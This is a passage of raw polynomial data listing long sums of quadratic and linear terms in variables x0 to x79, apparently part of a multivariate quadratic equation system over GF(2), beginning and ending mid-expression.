x27*x76 + x27*x77 + x27*x79 + x27 + x28*x29 + x28*x30 + x28*x32 + x28*x33 + x28*x34 + x28*x37 + x28*x40 + x28*x42 + x28*x44 + x28*x47 + x28*x49 + x28*x54 + x28*x57 + x28*x62 + x28*x63 + x28*x64 + x28*x65 + x28*x69 + x28*x71 + x28*x72 + x28*x73 + x28*x74 + x28*x75 + x28*x76 + x29*x30 + x29*x31 + x29*x34 + x29*x35 + x29*x37 + x29*x40 + x29*x46 + x29*x47 + x29*x48 + x29*x49 + x29*x51 + x29*x52 + x29*x53 + x29*x56 + x29*x58 + x29*x59 + x29*x64 + x29*x65 + x29*x66 + x29*x68 + x29*x69 + x29*x70 + x29*x73 + x29*x74 + x29*x75 + x29*x77 + x29*x78 + x29 + x30*x33 + x30*x35 + x30*x37 + x30*x38 + x30*x40 + x30*x42 + x30*x45 + x30*x46 + x30*x48 + x30*x49 + x30*x50 + x30*x51 + x30*x53 + x30*x54 + x30*x55 + x30*x57 + x30*x58 + x30*x60 + x30*x64 + x30*x66 + x30*x69 + x30*x71 + x30*x73 + x30*x74 + x30*x75 + x30*x76 + x31*x35 + x31*x37 + x31*x40 + x31*x42 + x31*x43 + x31*x50 + x31*x51 + x31*x52 + x31*x61 + x31*x62 + x31*x63 + x31*x65 + x31*x67 + x31*x72 + x31*x73 + x31*x75 + x31*x76 + x31*x79 + x32*x33 + x32*x37 + x32*x38 + x32*x39 + x32*x40 + x32*x47 + x32*x49 + x32*x51 + x32*x52 + x32*x53 + x32*x54 + x32*x56 + x32*x57 + x32*x62 + x32*x63 + x32*x66 + x32*x67 + x32*x68 + x32*x70 + x32*x71 + x32*x73 + x32*x74 + x32*x75 + x32*x76 + x32*x78 + x33*x34 + x33*x35 + x33*x37 + x33*x38 + x33*x40 + x33*x42 + x33*x43 + x33*x44 + x33*x45 + x33*x46 + x33*x47 + x33*x48 + x33*x51 + x33*x52 + x33*x53 + x33*x55 + x33*x56 + x33*x58 + x33*x59 + x33*x60 + x33*x64 + x33*x67 + x33*x70 + x33*x71 + x33*x72 + x33*x73 + x33*x74 + x33*x76 + x34*x36 + x34*x41 + x34*x45 + x34*x47 + x34*x51 + x34*x53 + x34*x57 + x34*x58 + x34*x59 + x34*x60 + x34*x62 + x34*x63 + x34*x65 + x34*x66 + x34*x67 + x34*x68 + x34*x69 + x34*x72 + x34*x73 + x34*x74 + x34*x75 + x34*x76 + x34*x78 + x34 + x35*x36 + x35*x38 + x35*x39 + x35*x41 + x35*x43 + x35*x45 + x35*x46 + x35*x47 + x35*x51 + x35*x53 + x35*x54 + x35*x56 + x35*x57 + x35*x58 + x35*x61 + x35*x62 + x35*x66 + x35*x67 + x35*x71 + x35*x73 + x35*x75 + x35*x77 + x35 + x36*x37 + x36*x38 + x36*x39 + x36*x42 + x36*x43 + x36*x44 + x36*x48 + x36*x49 + x36*x53 + x36*x55 + x36*x57 + x36*x58 + x36*x61 + x36*x62 + x36*x64 + x36*x67 + x36*x71 + x36*x74 + x36*x75 + x36*x77 + x36 + x37*x38 + x37*x39 + x37*x40 + x37*x43 + x37*x46 + x37*x49 + x37*x50 + x37*x52 + x37*x54 + x37*x56 + x37*x58 + x37*x59 + x37*x60 + x37*x62 + x37*x64 + x37*x68 + x37*x70 + x37*x71 + x37*x74 + x37*x75 + x37*x76 + x37*x79 + x38*x40 + x38*x43 + x38*x44 + x38*x46 + x38*x47 + x38*x48 + x38*x50 + x38*x51 + x38*x52 + x38*x53 + x38*x54 + x38*x57 + x38*x59 + x38*x60 + x38*x61 + x38*x62 + x38*x65 + x38*x66 + x38*x67 + x38*x71 + x38*x74 + x38*x75 + x38*x79 + x38 + x39*x40 + x39*x41 + x39*x43 + x39*x44 + x39*x46 + x39*x48 + x39*x50 + x39*x52 + x39*x54 + x39*x55 + x39*x59 + x39*x61 + x39*x62 + x39*x63 + x39*x64 + x39*x65 + x39*x67 + x39*x68 + x39*x69 + x39*x71 + x39*x72 + x39*x74 + x39*x76 + x39*x77 + x39*x78 + x39 + x40*x44 + x40*x45 + x40*x47 + x40*x50 + x40*x52 + x40*x53 + x40*x57 + x40*x58 + x40*x60 + x40*x68 + x40*x71 + x40*x75 + x40*x77 + x40*x78 + x40*x79 + x40 + x41*x44 + x41*x46 + x41*x49 + x41*x51 + x41*x52 + x41*x53 + x41*x55 + x41*x56 + x41*x58 + x41*x62 + x41*x63 + x41*x64 + x41*x66 + x41*x68 + x41*x73 + x41*x76 + x41*x78 + x41*x79 + x42*x44 + x42*x45 + x42*x46 + x42*x47 + x42*x49 + x42*x52 + x42*x53 + x42*x54 + x42*x55 + x42*x56 + x42*x58 + x42*x59 + x42*x61 + x42*x63 + x42*x64 + x42*x66 + x42*x68 + x42*x69 + x42*x72 + x42*x73 + x42*x74 + x42*x75 + x42*x77 + x42*x79 + x43*x44 + x43*x45 + x43*x47 + x43*x48 + x43*x50 + x43*x52 + x43*x53 + x43*x55 + x43*x58 + x43*x59 + x43*x60 + x43*x64 + x43*x65 + x43*x66 + x43*x72 + x43*x74 + x43*x75 + x43*x76 + x43*x77 + x43*x78 + x43*x79 + x43 + x44*x47 + x44*x48 + x44*x52 + x44*x54 + x44*x56 + x44*x57 + x44*x60 + x44*x61 + x44*x62 + x44*x64 + x44*x65 + x44*x66 + x44*x67 + x44*x69 + x44*x71 + x44*x73 + x44*x78 + x44*x79 + x44 + x45*x50 + x45*x51 + x45*x52 + x45*x53 + x45*x56 + x45*x59 + x45*x61 + x45*x63 + x45*x65 + x45*x67 + x45*x68 + x45*x69 + x45*x70 + x45*x72 + x45*x73 + x45*x77 + x45*x78 + x45*x79 + x45 + x46*x51 + x46*x53 + x46*x57 + x46*x58 + x46*x59 + x46*x61 + x46*x62 + x46*x63 + x46*x64 + x46*x65 + x46*x66 + x46*x68 + x46*x70 + x46*x72 + x46*x73 + x46*x75 + x46*x76 + x46*x77 + x46*x78 + x46 + x47*x49 + x47*x50 + x47*x51 + x47*x53 + x47*x54 + x47*x55 + x47*x57 + x47*x59 + x47*x61 + x47*x62 + x47*x68 + x47*x72 + x47*x75 + x47*x77 + x47*x79 + x47 + x48*x51 + x48*x52 + x48*x53 + x48*x57 + x48*x61 + x48*x63 + x48*x65 + x48*x67 + x48*x68 + x48*x69 + x48*x72 + x48*x73 + x48*x76 + x48*x79 + x49*x50 + x49*x56 + x49*x58 + x49*x61 + x49*x63 + x49*x65 + x49*x68 + x49*x72 + x49*x74 + x49*x75 + x49*x76 + x49*x78 + x50*x52 + x50*x54 + x50*x55 + x50*x58 + x50*x59 + x50*x60 + x50*x61 + x50*x63 + x50*x65 + x50*x69 + x50*x70 + x50*x72 + x50*x73 + x50*x74 + x50*x78 + x50 + x51*x52 + x51*x53 + x51*x55 + x51*x57 + x51*x58 + x51*x60 + x51*x63 + x51*x65 + x51*x67 + x51*x68 + x51*x69 + x51*x70 + x51*x74 + x51*x75 + x51*x76 + x51*x77 + x51*x78 + x51*x79 + x52*x53 + x52*x54 + x52*x56 + x52*x58 + x52*x59 + x52*x61 + x52*x62 + x52*x64 + x52*x67 + x52*x71 + x52*x73 + x52*x74 + x52*x76 + x52*x77 + x52*x78 + x52*x79 + x52 + x53*x54 + x53*x55 + x53*x56 + x53*x60 + x53*x63 + x53*x64 + x53*x66 + x53*x68 + x53*x69 + x53*x71 + x53*x73 + x53*x74 + x53*x76 + x53*x79 + x53 + x54*x55 + x54*x57 + x54*x58 + x54*x59 + x54*x60 + x54*x62 + x54*x63 + x54*x64 + x54*x66 + x54*x67 + x54*x69 + x54*x71 + x54*x75 + x54*x76 + x54*x78 + x54*x79 + x54 + x55*x56 + x55*x60 + x55*x62 + x55*x64 + x55*x66 + x55*x67 + x55*x68 + x55*x69 + x55*x71 + x55*x72 + x55*x73 + x55*x74 + x55*x75 + x55*x77 + x56*x58 + x56*x59 + x56*x62 + x56*x66 + x56*x68 + x56*x69 + x56*x70 + x56*x72 + x56*x73 + x56*x74 + x56*x75 + x57*x62 + x57*x63 + x57*x65 + x57*x67 + x57*x69 + x57*x71 + x57*x73 + x57*x74 + x57*x76 + x57*x77 + x57 + x58*x59 + x58*x60 + x58*x61 + x58*x63 + x58*x64 + x58*x65 + x58*x66 + x58*x67 + x58*x69 + x58*x73 + x58*x76 + x58*x79 + x58 + x59*x61 + x59*x62 + x59*x66 + x59*x68 + x59*x73 + x59*x74 + x59*x78 + x59 + x60*x61 + x60*x63 + x60*x64 + x60*x65 + x60*x67 + x60*x68 + x60*x71 + x60*x73 + x60*x74 + x60*x75 + x60*x78 + x61*x66 + x61*x69 + x61*x72 + x61*x74 + x61*x75 + x61*x78 + x61*x79 + x62*x67 + x62*x70 + x62*x72 + x62*x73 + x62*x74 + x62*x75 + x62*x76 + x62*x78 + x63*x64 + x63*x65 + x63*x67 + x63*x70 + x63*x71 + x63*x72 + x63*x74 + x63*x76 + x63*x77 + x63*x78 + x63 + x64*x67 + x64*x68 + x64*x69 + x64*x74 + x64*x77 + x64 + x65*x66 + x65*x67 + x65*x68 + x65*x70 + x65*x71 + x65*x73 + x65*x74 + x65*x76 + x65*x78 + x65*x79 + x66*x69 + x66*x72 + x66*x74 + x66*x75 + x66*x77 + x66*x78 + x66 + x67*x68 + x67*x70 + x67*x73 + x67*x74 + x67*x75 + x67*x77 + x67*x79 + x68*x69 + x68*x71 + x68*x72 + x68*x76 + x68*x78 + x69*x71 + x69*x72 + x69*x73 + x69*x79 + x69 + x70*x72 + x70*x75 + x70*x76 + x70*x77 + x70*x78 + x70 + x71*x73 + x71*x75 + x71*x77 + x71*x78 + x72*x73 + x72*x75 + x72*x76 + x72*x77 + x72*x78 + x72*x79 + x73*x75 + x73*x76 + x73*x77 + x73*x78 + x73 + x74*x75 + x74*x76 + x74*x79 + x74 + x75*x76 + x76*x78 + x76*x79 + x77*x79 + x77 + x78*x79 + x78, x0*x3 + x0*x7 + x0*x10 + x0*x12 + x0*x13 + x0*x15 + x0*x19 + x0*x20 + x0*x21 + x0*x25 + x0*x28 + x0*x29 + x0*x30 + x0*x31 + x0*x33 + x0*x34 + x0*x36 + x0*x37 + x0*x39 + x0*x40 + x0*x41 + x0*x46 + x0*x48 + x0*x50 + x0*x51 + x0*x54 + x0*x55 + x0*x56 + x0*x58 + x0*x59 + x0*x60 + x0*x61 + x0*x65 + x0*x66 + x0*x71 + x0*x72 + x0*x74 + x0*x77 + x0*x79 + x0 + x1*x6 + x1*x10 + x1*x13 + x1*x14 + x1*x18 + x1*x21 + x1*x25 + x1*x27 + x1*x33 + x1*x34 + x1*x35 + x1*x36 + x1*x39 + x1*x40 + x1*x42 + x1*x44 + x1*x46 + x1*x47 + x1*x48 + x1*x49 + x1*x50 + x1*x53 + x1*x55 + x1*x56 + x1*x57 + x1*x61 + x1*x66 + x1*x69 + x1*x71 + x1*x73 + x1*x74 + x2*x3 + x2*x4 + x2*x6 + x2*x10 + x2*x13 + x2*x18 + x2*x19 + x2*x20 + x2*x21 + x2*x23 + x2*x24 + x2*x25 + x2*x26 + x2*x27 + x2*x28 + x2*x31 + x2*x33 + x2*x37 + x2*x38 + x2*x39 + x2*x40 + x2*x42 + x2*x43 + x2*x44 + x2*x47 + x2*x48 + x2*x50 + x2*x51 + x2*x53 + x2*x58 + x2*x59 + x2*x60 + x2*x61 + x2*x62 + x2*x65 + x2*x67 + x2*x69 + x2*x70 + x2*x71 + x2*x72 + x2*x73 + x2*x75 + x2*x76 + x2*x77 + x2*x78 + x2*x79 + x2 + x3*x6 + x3*x7 + x3*x9 + x3*x10 + x3*x12 + x3*x13 + x3*x14 + x3*x17 + x3*x18 + x3*x20 + x3*x21 + x3*x22 + x3*x26 + x3*x28 + x3*x31 + x3*x32 + x3*x38 + x3*x42 + x3*x47 + x3*x48 + x3*x49 + x3*x50 + x3*x52 + x3*x53 + x3*x54 + x3*x56 + x3*x58 + x3*x60 + x3*x61 + x3*x62 + x3*x64 + x3*x65 + x3*x66 + x3*x67 + x3*x69 + x3*x71 + x3*x72 + x3*x73 + x3*x76 + x3*x77 + x4*x7 + x4*x16 + x4*x22 + x4*x24 + x4*x25 + x4*x29 + x4*x31 + x4*x34 + x4*x36 + x4*x37 + x4*x39 + x4*x42 + x4*x46 + x4*x47 + x4*x48 + x4*x49 + x4*x50 + x4*x52 + x4*x53 + x4*x54 + x4*x55 + x4*x56 + x4*x57 + x4*x58 + x4*x61 + x4*x62 + x4*x65 + x4*x67 + x4*x68 + x4*x69 + x4*x70 + x4*x71 + x4*x72 + x4*x73 + x4*x75 + x5*x8 + x5*x10 + x5*x13 + x5*x16 + x5*x23 + x5*x25 + x5*x27 + x5*x28 + x5*x31 + x5*x35 + x5*x36 + x5*x38 + x5*x40 + x5*x43 + x5*x44 + x5*x47 + x5*x48 + x5*x52 + x5*x53 + x5*x54 + x5*x55 + x5*x56 + x5*x60 + x5*x61 + x5*x62 + x5*x63 + x5*x69 + x5*x72 + x5*x74 + x5*x75 + x5*x76 + x5*x77 + x5 + x6*x7 + x6*x10 + x6*x11 + x6*x12 + x6*x15 + x6*x17 + x6*x18 + x6*x19 + x6*x20 + x6*x22 + x6*x23 + x6*x24 + x6*x25 + x6*x30 + x6*x32 + x6*x33 + x6*x37 + x6*x38 + x6*x39 + x6*x40 + x6*x43 + x6*x44 + x6*x45 + x6*x46 + x6*x51 + x6*x54 + x6*x57 + x6*x60 + x6*x61 + x6*x63 + x6*x65 + x6*x66 + x6*x67 + x6*x72 + x6*x73 + x6*x74 + x6*x76 + x6*x77 + x7*x8 + x7*x11 + x7*x14 + x7*x15 + x7*x18 + x7*x20 + x7*x21 + x7*x24 + x7*x25 + x7*x27 + x7*x28 + x7*x29 + x7*x33 + x7*x34 + x7*x36 + x7*x37 + x7*x40 + x7*x41 + x7*x42 + x7*x46 + x7*x47 + x7*x48 + x7*x53 + x7*x54 + x7*x56 + x7*x57 + x7*x58 + x7*x60 + x7*x62 + x7*x63 + x7*x64 + x7*x68 + x7*x69 + x7*x70 + x7*x72 + x7*x73 + x7*x75 + x7*x76 + x7*x78 + x7 + x8*x10 + x8*x12 + x8*x14 + x8*x15 + x8*x16 + x8*x17 + x8*x18 + x8*x20 + x8*x22 + x8*x25 + x8*x26 + x8*x28 + x8*x30 + x8*x31 + x8*x35 + x8*x38 + x8*x39 + x8*x41 + x8*x43 + x8*x44 + x8*x46 + x8*x47 + x8*x48 + x8*x50 + x8*x51 + x8*x53 + x8*x55 + x8*x56 + x8*x58 + x8*x59 + x8*x60 + x8*x61 + x8*x62 + x8*x63 + x8*x64 + x8*x66 + x8*x67 + x8*x69 + x8*x72 + x8*x73 + x8*x74 + x8*x75 + x8*x76 + x8*x79 + x8 + x9*x10 + x9*x11 + x9*x12 + x9*x13 + x9*x14 + x9*x15 + x9*x16 + x9*x17 + x9*x19 + x9*x20 + x9*x23 + x9*x24 + x9*x25 + x9*x27 + x9*x28 + x9*x29 + x9*x32 + x9*x33 + x9*x35 + x9*x36 + x9*x37 + x9*x41 + x9*x44 + x9*x46 + x9*x50 + x9*x52 + x9*x53 + x9*x56 + x9*x61 + x9*x64 + x9*x65 + x9*x66 + x9*x68 + x9*x72 + x9*x73 + x9*x74 + x9*x77 + x9*x78 + x10*x12 + x10*x15 + x10*x16 + x10*x20 + x10*x25 + x10*x26 + x10*x27 + x10*x28 + x10*x30 + x10*x36 + x10*x37 + x10*x39 + x10*x40 + x10*x43 + x10*x45 + x10*x46 + x10*x47 + x10*x48 + x10*x49 + x10*x50 + x10*x57 + x10*x59 + x10*x61 + x10*x66 + x10*x69 + x10*x70 + x10*x72 + x10*x73 + x10*x74 + x10*x75 + x10*x76 + x10 + x11*x12 + x11*x14 + x11*x15 + x11*x17 + x11*x18 + x11*x21 + x11*x22 + x11*x23 + x11*x24 + x11*x25 + x11*x30 + x11*x33 + x11*x36 + x11*x37 + x11*x39 + x11*x40 + x11*x42 + x11*x44 + x11*x45 + x11*x46 + x11*x48 + x11*x49 + x11*x50 + x11*x53 + x11*x57 + x11*x59 + x11*x60 + x11*x61 + x11*x64 + x11*x68 + x11*x69 + x11*x70 + x11*x74 + x11*x75 + x11*x77 + x12*x15 + x12*x16 + x12*x17 + x12*x18 + x12*x19 + x12*x20 + x12*x21 + x12*x22 + x12*x24 + x12*x25 + x12*x27 + x12*x29 + x12*x30 + x12*x33 + x12*x34 + x12*x35 + x12*x36 + x12*x39 + x12*x40 + x12*x41 + x12*x44 + x12*x45 + x12*x47 + x12*x50 + x12*x52 + x12*x54 + x12*x55 + x12*x58 + x12*x59 + x12*x60 + x12*x62 + x12*x63 + x12*x65 + x12*x66 + x12*x67 + x12*x70 + x12*x72 + x12*x76 + x12*x78 + x13*x15 + x13*x16 + x13*x17 + x13*x19 + x13*x21 + x13*x23 + x13*x24 + x13*x25 + x13*x27 + x13*x28 + x13*x38 + x13*x42 + x13*x44 + x13*x46 + x13*x47 + x13*x48 + x13*x49 + x13*x52 + x13*x55 + x13*x56 + x13*x57 + x13*x61 + x13*x62 + x13*x64 + x13*x65 + x13*x67 + x13*x68 + x13*x69 + x13*x70 + x13*x72 + x13*x73 + x13*x74 + x13*x76 + x13*x78 + x13 + x14*x16 + x14*x17 + x14*x18 + x14*x23 + x14*x26 + x14*x27 + x14*x30 + x14*x31 + x14*x32 + x14*x34 + x14*x35 + x14*x38 + x14*x39 + x14*x40 + x14*x41 + x14*x43 + x14*x45 + x14*x46 + x14*x47 + x14*x48 + x14*x49 + x14*x51 + x14*x52 + x14*x53 + x14*x54 + x14*x55 + x14*x56 + x14*x57 + x14*x59 + x14*x60 + x14*x63 + x14*x64 + x14*x68 + x14*x70 + x14*x71 + x14*x79 + x14 + x15*x17 + x15*x18 + x15*x19 + x15*x22 + x15*x25 + x15*x29 + x15*x31 + x15*x33 + x15*x34 + x15*x38 + x15*x40 + x15*x45 + x15*x46 + x15*x47 + x15*x53 + x15*x54 + x15*x55 + x15*x57 + x15*x58 + x15*x60 + x15*x61 + x15*x64 + x15*x66 + x15*x67 + x15*x73 + x15*x76 + x15*x79 + x15 + x16*x17 + x16*x20 + x16*x21 + x16*x27 + x16*x28 + x16*x29 + x16*x30 + x16*x31 + x16*x33 + x16*x34 + x16*x36 + x16*x38 + x16*x39 + x16*x40 + x16*x43 + x16*x44 + x16*x45 + x16*x47 + x16*x48 + x16*x53 + x16*x54 + x16*x56 + x16*x57 + x16*x58 + x16*x61 + x16*x64 + x16*x65 + x16*x68 + x16*x70 + x16*x75 + x16*x77 + x16*x78 + x16*x79 + x17*x19 + x17*x23 + x17*x24 + x17*x28 + x17*x32 + x17*x35 + x17*x39 + x17*x41 + x17*x45 + x17*x46 + x17*x48 + x17*x54 + x17*x55 + x17*x60 + x17*x61 + x17*x62 + x17*x65 + x17*x66 + x17*x67 + x17*x68 + x17*x73 + x17*x74 + x17*x76 + x17*x79 + x18*x19 + x18*x20 + x18*x23 + x18*x28 + x18*x29 + x18*x33 + x18*x35 + x18*x36 + x18*x37 + x18*x39 + x18*x40 + x18*x41 + x18*x42 + x18*x43 + x18*x44 + x18*x47 + x18*x48 + x18*x49 + x18*x51 + x18*x52 + x18*x59 + x18*x62 + x18*x64 + x18*x65 + x18*x68 + x18*x70 + x18*x71 + x18*x72 + x18*x74 + x18*x75 + x18*x78 + x18*x79 + x19*x20 + x19*x24 + x19*x26 + x19*x27 + x19*x29 + x19*x30 + x19*x31 + x19*x32 + x19*x33 + x19*x34 + x19*x35 + x19*x36 + x19*x37 + x19*x38 + x19*x39 + x19*x40 + x19*x41 + x19*x42 + x19*x44 + x19*x46 + x19*x48 + x19*x49 + x19*x51 + x19*x52 + x19*x56 + x19*x57 + x19*x58 + x19*x59 + x19*x61 + x19*x62 + x19*x68 + x19*x74 + x19*x79 + x20*x21 + x20*x26 + x20*x27 + x20*x28 + x20*x30 + x20*x35 + x20*x37 + x20*x38 + x20*x45 + x20*x48 + x20*x50 + x20*x51 + x20*x52 + x20*x54 + x20*x59 + x20*x61 + x20*x62 + x20*x63 + x20*x64 + x20*x65 + x20*x66 + x20*x70 + x20*x74 + x20*x75 + x20*x77 + x20*x78 + x21*x22 + x21*x23 + x21*x24 + x21*x26 + x21*x27 + x21*x28 + x21*x29 + x21*x34 + x21*x36 + x21*x38 + x21*x39 + x21*x41 + x21*x42 + x21*x47 + x21*x48 + x21*x50 + x21*x51 + x21*x54 + x21*x56 + x21*x57 + x21*x58 + x21*x60 + x21*x61 + x21*x62 + x21*x64 + x21*x65 + x21*x66 + x21*x67 + x21*x70 + x21*x71 + x21*x73 + x21*x74 + x21*x75 + x21*x78 + x21 + x22*x23 + x22*x24 + x22*x25 + x22*x27 + x22*x30 + x22*x32 + x22*x36 + x22*x37 + x22*x38 + x22*x40 + x22*x41 + x22*x42 + x22*x44 + x22*x45 + x22*x49 + x22*x55 + x22*x57 + x22*x60 + x22*x64 + x22*x66 + x22*x67 + x22*x72 + x22*x73 + x22*x75 + x22*x77 + x22*x78 + x22*x79 + x23*x26 + x23*x29 + x23*x30 + x23*x31 + x23*x32 + x23*x33 + x23*x34 + x23*x37 + x23*x39 + x23*x40 + x23*x42 + x23*x43 + x23*x44 + x23*x48 + x23*x49 + x23*x51 + x23*x55 + x23*x57 + x23*x59 + x23*x63 + x23*x66 + x23*x67 + x23*x68 + x23*x69 + x23*x70 + x23*x71 + x23*x73 + x23*x78 + x23*x79 + x24*x25 + x24*x27 + x24*x28 + x24*x30 + x24*x31 + x24*x33 + x24*x34 + x24*x35 + x24*x38 + x24*x43 + x24*x44 + x24*x46 + x24*x48 + x24*x54 + x24*x55 + x24*x57 + x24*x59 + x24*x60 + x24*x61 + x24*x62 + x24*x67 + x24*x68 + x24*x70 + x24*x72 + x24*x74 + x24*x75 + x24*x77 + x24 + x25*x26 + x25*x27 + x25*x28 + x25*x32 + x25*x33 + x25*x34 + x25*x36 + x25*x39 + x25*x40 + x25*x41 + x25*x44 + x25*x49 + x25*x50 + x25*x52 + x25*x53 + x25*x54 + x25*x57 + x25*x59 + x25*x62 + x25*x68 + x25*x69 + x25*x73 + x25*x75 + x25*x76 + x25*x79 + x25 + x26*x27 + x26*x28 + x26*x30 + x26*x31 + x26*x32 + x26*x33 + x26*x34 + x26*x35 + x26*x36 + x26*x37 + x26*x44 + x26*x46 + x26*x47 + x26*x50 + x26*x51 + x26*x56 + x26*x63 + x26*x64 + x26*x65 + x26*x66 + x26*x67 + x26*x68 + x26*x69 + x26*x71 + x26*x72 + x26*x73 + x26*x74 + x26*x78 + x26*x79 + x27*x28 + x27*x30 + x27*x31 + x27*x33 + x27*x34 + x27*x35 + x27*x38 + x27*x40 + x27*x41 + x27*x44 + x27*x45 + x27*x49 + x27*x52 + x27*x55 + x27*x57 + x27*x58 + x27*x60 + x27*x62 + x27*x63 + x27*x67 + x27*x69 + x27*x71 + x27*x73 + x27*x74 + x27*x75 + x27*x76 + x27*x78 + x28*x31 + x28*x33 + x28*x36 + x28*x38 + x28*x39 + x28*x40 + x28*x47 + x28*x48 + x28*x50 + x28*x51 + x28*x52 + x28*x56 + x28*x57 + x28*x60 + x28*x61 + x28*x63 + x28*x64 + x28*x65 + x28*x66 + x28*x68 + x28*x70 + x28*x71 + x28*x72 + x28*x74 + x28*x75 + x28*x78 + x29*x31 + x29*x32 + x29*x34 + x29*x35 + x29*x36 + x29*x39 + x29*x41 + x29*x42 + x29*x44 + x29*x48 + x29*x50 + x29*x51 + x29*x53 + x29*x54 + x29*x56 + x29*x57 + x29*x58 + x29*x59 + x29*x60 + x29*x62 + x29*x63 + x29*x64 + x29*x66 + x29*x67 + x29*x70 + x29*x71 + x29*x74 + x29*x76 + x29*x79 + x30*x34 + x30*x35 + x30*x37 + x30*x40 + x30*x43 + x30*x45 + x30*x46 + x30*x49 + x30*x52 + x30*x53 + x30*x54 + x30*x56 + x30*x58 + x30*x61 + x30*x62 + x30*x64 + x30*x67 + x30*x68 + x30*x75 + x30*x77 + x30*x78 + x30 + x31*x34 + x31*x35 + x31*x36 + x31*x37 + x31*x40 + x31*x41 + x31*x42 + x31*x44 + x31*x45 + x31*x47 + x31*x49 + x31*x50 + x31*x51 + x31*x53 + x31*x54 + x31*x56 + x31*x59 + x31*x60 + x31*x61 + x31*x64 + x31*x65 + x31*x67 + x31*x69 + x31*x70 + x31*x73 + x31*x74 + x31*x75 + x31*x76 + x31*x77 + x31*x79 + x32*x36 + x32*x42 + x32*x43 + x32*x44 + x32*x45 + x32*x46 + x32*x48 + x32*x52 + x32*x53 + x32*x54 + x32*x55 + x32*x59 + x32*x60 + x32*x63 + x32*x64 + x32*x66 + x32*x68 + x32*x70 + x32*x71 + x32*x72 + x32*x73 + x32*x74 + x32*x76 + x32*x77 + x33*x34 + x33*x35 + x33*x39 + x33*x41 + x33*x43 + x33*x46 + x33*x47 + x33*x50 + x33*x54 + x33*x56 + x33*x57 + x33*x65 + x33*x66 + x33*x67 + x33*x70 + x33*x71 + x33*x73 + x33*x79 + x34*x36 + x34*x37 + x34*x38 + x34*x39 + x34*x40 + x34*x41 + x34*x42 + x34*x43 + x34*x44 + x34*x47 + x34*x50 + x34*x51 + x34*x52 + x34*x56 + x34*x58 + x34*x59 + x34*x61 + x34*x65 + x34*x67 + x34*x68 + x34*x69 + x34*x70 + x34*x71 + x34*x76 + x34*x79 + x34 + x35*x38 + x35*x39 + x35*x40 + x35*x42 + x35*x43 + x35*x44 + x35*x45 + x35*x46 + x35*x49 + x35*x51 + x35*x53 + x35*x55 + x35*x59 + x35*x61 + x35*x62 + x35*x63 + x35*x64 + x35*x66 + x35*x67 + x35*x70 + x35*x71 + x35*x72 + x35*x76 + x35*x77 + x35 + x36*x37 + x36*x40 + x36*x43 + x36*x46 + x36*x47 + x36*x48 + x36*x52 + x36*x54 + x36*x58 + x36*x61 + x36*x64 + x36*x65 + x36*x66 + x36*x68 + x36*x69 + x36*x72 + x36*x75 + x36*x77 + x36*x79 + x37*x39 + x37*x41 + x37*x43 + x37*x45 + x37*x48 + x37*x49 + x37*x50 + x37*x51 + x37*x57 + x37*x60 + x37*x62 + x37*x64 + x37*x67 + x37*x69 + x37*x70 + x37*x79 + x38*x39 + x38*x40 + x38*x41 + x38*x43 + x38*x45 + x38*x46 + x38*x51 + x38*x52 + x38*x53 + x38*x56 + x38*x59 + x38*x66 + x38*x67 + x38*x70 + x38*x71 + x38*x72 + x38*x75 + x38*x77 + x38*x79 + x39*x40 + x39*x41 + x39*x43 + x39*x45 + x39*x46 + x39*x47 + x39*x49 + x39*x50 + x39*x51 + x39*x52 + x39*x53 + x39*x58 + x39*x62 + x39*x64 + x39*x65 + x39*x72 + x39*x73 + x39*x74 + x39*x75 + x39*x76 + x39 + x40*x41 + x40*x43 + x40*x45 + x40*x47 + x40*x49 + x40*x50 + x40*x51 + x40*x53 + x40*x54 + x40*x62 + x40*x63 + x40*x64 + x40*x69 + x40*x74 + x40*x76 + x40*x77 + x40 + x41*x42 + x41*x45 + x41*x46 + x41*x48 + x41*x49 + x41*x51 + x41*x53 + x41*x57 + x41*x60 + x41*x61 + x41*x63 + x41*x69 + x41*x71 + x41*x73 + x41*x76 + x41*x77 + x42*x45 + x42*x47 + x42*x51 + x42*x53 + x42*x55 + x42*x56 + x42*x59 + x42*x61 + x42*x63 + x42*x65 + x42*x66 + x42*x70 + x42*x73 + x42*x75 + x42*x76 + x43*x45 + x43*x46 + x43*x48 + x43*x49 + x43*x50 + x43*x51 + x43*x55 + x43*x56 + x43*x58 + x43*x60 + x43*x62 + x43*x63 + x43*x64 + x43*x68 + x43*x72 + x43*x73 + x43*x74 + x43*x78 + x43 + x44*x48 + x44*x50 + x44*x51 + x44*x54 + x44*x61 + x44*x62 + x44*x64 + x44*x68 + x44*x69 + x44*x72 + x44*x73 + x44*x74 + x44*x75 + x44*x78 + x44*x79 + x44 + x45*x46 + x45*x47 + x45*x48 + x45*x50 + x45*x51 + x45*x52 + x45*x58 + x45*x61 + x45*x62 + x45*x64 + x45*x65 + x45*x67 + x45*x70 + x45*x71 + x45*x75 + x45*x76 + x45*x78 + x45*x79 + x46*x50 + x46*x51 + x46*x53 + x46*x55 + x46*x59 + x46*x61 + x46*x63 + x46*x64 + x46*x67 + x46*x68 + x46*x69 + x46*x70 + x46*x71 + x46*x72 + x46*x74 + x46*x78 + x46*x79 + x46 + x47*x49 + x47*x51 + x47*x52 + x47*x55 + x47*x58 + x47*x59 + x47*x61 + x47*x65 + x47*x66 + x47*x70 + x47*x71 + x47*x78 + x47 + x48*x49 + x48*x50 + x48*x52 + x48*x54 + x48*x55 + x48*x56 + x48*x57 + x48*x58 + x48*x59 + x48*x60 + x48*x64 + x48*x65 + x48*x69 + x48*x70 + x48*x71 + x48*x72 + x48*x78 + x48 + x49*x50 + x49*x51 + x49*x52 + x49*x54 + x49*x55 + x49*x56 + x49*x57 + x49*x58 + x49*x59 + x49*x60 + x49*x61 + x49*x65 + x49*x66 + x49*x67 + x49*x68 + x49*x70 + x49*x72 + x49*x74 + x49*x77 + x49*x78 + x49*x79 + x50*x54 + x50*x58 + x50*x59 + x50*x62 + x50*x64 + x50*x65 + x50*x66 + x50*x67 + x50*x71 + x50*x74 + x50*x75 + x50*x78 + x50*x79 + x50 + x51*x56 + x51*x57 + x51*x61 + x51*x65 + x51*x66 + x51*x67 + x51*x69 + x51*x71 + x51*x73 + x51*x76 + x51*x78 + x52*x55 + x52*x56 + x52*x62 + x52*x63 + x52*x64 + x52*x66 + x52*x68 + x52*x69 + x52*x71 + x52*x72 + x52*x73 + x52*x74 + x52*x75 + x52*x77 + x52*x78 + x52*x79 + x53*x55 + x53*x56 + x53*x59 + x53*x60 + x53*x63 + x53*x64 + x53*x65 + x53*x67 + x53*x69 + x53*x71 + x53*x75 + x53*x79 + x54*x55 + x54*x57 + 